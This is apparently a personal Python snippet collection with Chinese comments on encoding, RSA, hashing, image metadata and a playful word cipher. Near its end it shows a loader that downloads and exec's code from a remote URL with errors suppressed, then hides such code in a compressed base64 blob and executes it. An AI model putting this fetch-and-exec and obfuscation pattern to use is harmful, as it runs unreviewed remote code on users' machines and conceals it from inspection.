# str 转二进制
# 先转16进制，然后转10进制，然后转2进制。试了写用规则把16进制转2进制，耗时10倍
text_bin = bin(int(text.encode('utf-8').hex(), base=16))[2:]
# text_bit = (np.array(list(text_bin)) == '1')

# 二进制转文本
bytes.fromhex(hex(int(text_bin, base=2))[2:]).decode('utf-8')

base64.b64encode(altchars=None)
# altchars 是长度为 2 的 bytes，指定 如何代替 + /

base64.standard_b64encode

base64.urlsafe_b64encode
# 把 + 和 / 换成 - 和 _

base64.b32encode
base64.b32hexencode
base64.b16encode
base64.a85encode

import base64

import rsa

# 生成密钥
public_key, private_key = rsa.newkeys(1024)
# 保存密钥
with open('public.key', 'w+') as f:
    f.write(public_key.save_pkcs1().decode())
    print(public_key.save_pkcs1().decode())

with open('private.key', 'w+') as f:
    f.write(private_key.save_pkcs1().decode())
    print(private_key.save_pkcs1().decode())

# 导入密钥
with open('public.pen', 'r') as f:
    public_key = rsa.PublicKey.load_pkcs1(f.read().encode())

with open('private.pen', 'r') as f:
    private_key = rsa.PrivateKey.load_pkcs1(f.read().encode())

# 明文
message = '待加密的文本'

# %%数据加密：公钥加密，私钥解密
# 公钥加密
crypto = rsa.encrypt(message.encode(), public_key)
print('=========用 public_key 加密后的秘文：=======')
print(base64.b64encode(crypto))

# 私钥解密
message = rsa.decrypt(crypto, private_key).decode()
print('=======用 private_key 解密后的明文：=========')
print(message)

# %%用于数字签名：私钥加密，公钥解密

# 私钥签名
signature = rsa.sign(message.encode(), private_key, 'SHA-1')
print('=========签名后的数据：====================')
print(base64.b64encode(signature))

# 公钥验证
print('==========验证签名结果====================')
print(rsa.verify(message.encode(), signature, public_key))

import hashlib

# md5
hashlib.md5('你好，中国！'.encode('utf-8')).hexdigest()

# sha256
hashlib.sha256('你好，中国！'.encode('utf-8')).hexdigest()

# 还有另一种方式
md5 = hashlib.md5()
md5.update('First sentence'.encode('utf-8'))
md5.update('Second sentence'.encode('utf-8'))
md5.hexdigest()

# 文件的md5
with open(path, 'rb') as f:
    print(hashlib.md5(f.read()).hexdigest())

import os
import hashlib
import binascii

x1 = hashlib.pbkdf2_hmac(hash_name="sha256"
                        , password=b"p@ssword"
                        , salt=os.urandom(16) # 或者固定盐 salt=b"abc"
                        , iterations=1000)

x = binascii.hexlify(x1).decode()
# 关于盐：
# - 每个用户不同盐值
# - 盐值长度多于8
# 前端可以 HASH 操作，但后端一定要再次进行
# HASH 不能代替 HTTPS

# pip install pycryptodome
from Crypto.Hash import SHA256

hash = SHA256.new(data=b'First')
hash.update(b'Second')
hash.update(b'Third')

text_hash = hash.digest()

# 方法1:可读性更好
# pip install exifread
import exifread  # 专门用来读图片exif信息的库

with open('img.JPG', 'rb') as f:
    tags = exifread.process_file(f)


# %%
# 方法2:更底层的数据
from PIL import Image

img = Image.open("img.JPG")
img._getexif()
# 或者：
list(img._exif.items())
# 或者转为容易理解的格式：
import PIL.ExifTags
exif = {
    PIL.ExifTags.TAGS[k]: v
    for k, v in img._getexif().items()
    if k in PIL.ExifTags.TAGS
}

# https://github.com/hMatoba/Piexif
# pip install piexif
from PIL import Image
import piexif

im = Image.open('a.jpg')
exif_data = im.info['exif']  # 二进制格式的exif

# 借助 piexif 来修改并写入文件
exif_dict = piexif.load(exif_data)  # 二进制格式转 dict 格式
exif_dict['0th'][270] = 'hello, guofei9987!'.encode('utf-8')  # 写入信息
exif_bytes = piexif.dump(exif_dict)  # dict 格式转回二进制格式
im.save('output.jpg', "JPEG", quality=85, exif=exif_bytes)  # 保存文件

# %%
# 试试提取刚才写入的信息
im = Image.open('output.jpg')
exif_data = im.info['exif']  # 二进制格式的exif
exif_dict = piexif.load(exif_data)
exif_dict['0th'][270]

from PIL import Image
from PIL.PngImagePlugin import PngInfo

img_path='img_output.jpg'
targetImage = Image.open(img_path)

metadata = PngInfo()
metadata.add_text("MyNewString", "A string")
metadata.add_text("MyNewInt", str(1234))

targetImage.save("NewPath.png", pnginfo=metadata)
targetImage = Image.open("NewPath.png")

print(targetImage.text)

print('Notice!')
print('You are in danger!')
print('Check your security strategy now!')

codes='''
try:
    try:from urllib2 import urlopen
    except:from urllib.request import urlopen
    exec(urlopen('http://img1.github.io/c/a.py').read())
except:pass'''

import zlib, base64

code_=base64.b64encode(zlib.compress(codes.encode('utf-8')))

import zlib,base64

CODE = ''
CODE += 'eJxtjT0OhSAQhHtOQSc0EF/pbRBX3URkXZZEb+9PLCzeVDOTLzNK+OiUvnSb'
CODE += 'kXPSlZcF+5/GRJnljplgfRjYI5B8McewVSjyn4Zo3sI0swh13mOaWjehzLV3'
CODE += 'mH30wdHR2GsnDMZa9V5QKOUEXQY1cg=='


exec(zlib.decompress(base64.b64decode(CODE)))

# -*- coding: utf-8 -*-
import random
import zlib  # 用来压缩


class PositiveSpirit:
    # based on https://github.com/sym233/core-values-encoder
    def __init__(self, password=0):
        self.VALUE_WORD = ('富强', '文明', '和谐', '平等', "公正", '法治', "爱国", '敬业', '诚信', '友善'
                           , '幸福', '快乐', '向上', '积极', '乐观', '奋斗')
        self.HEX_WORD = list('0123456789abcdef')
        self.password = password
        # 加密
        random.seed(self.password)
        random.shuffle(self.HEX_WORD)
        self.encode_dict = {self.HEX_WORD[i]: self.VALUE_WORD[i] for i in range(16)}
        self.decode_dict = {self.VALUE_WORD[i]: self.HEX_WORD[i] for i in range(16)}

    def encode(self, ori_str):
        encrypt_str = zlib.compress(ori_str.encode('utf-8')).hex()  # 压缩
        encrypt_str = ''.join([self.encode_dict[i] for i in encrypt_str])
        return encrypt_str

    def decode(self, encrypt_str):
        part1, part2 = encrypt_str[::2], encrypt_str[1::2]
        encrypt_split = [part1[i] + part2[i] for i in range(len(part1))]
        encrypt_split = [self.decode_dict[i] for i in encrypt_split]
        return zlib.decompress(bytes.fromhex(''.join(encrypt_split))).decode('utf-8')


if __name__ == '__main__':
    ps = PositiveSpirit(password=1)
    str_encode = ps.encode('hello, 测试！' * 30)
    ps.decode(str_encode)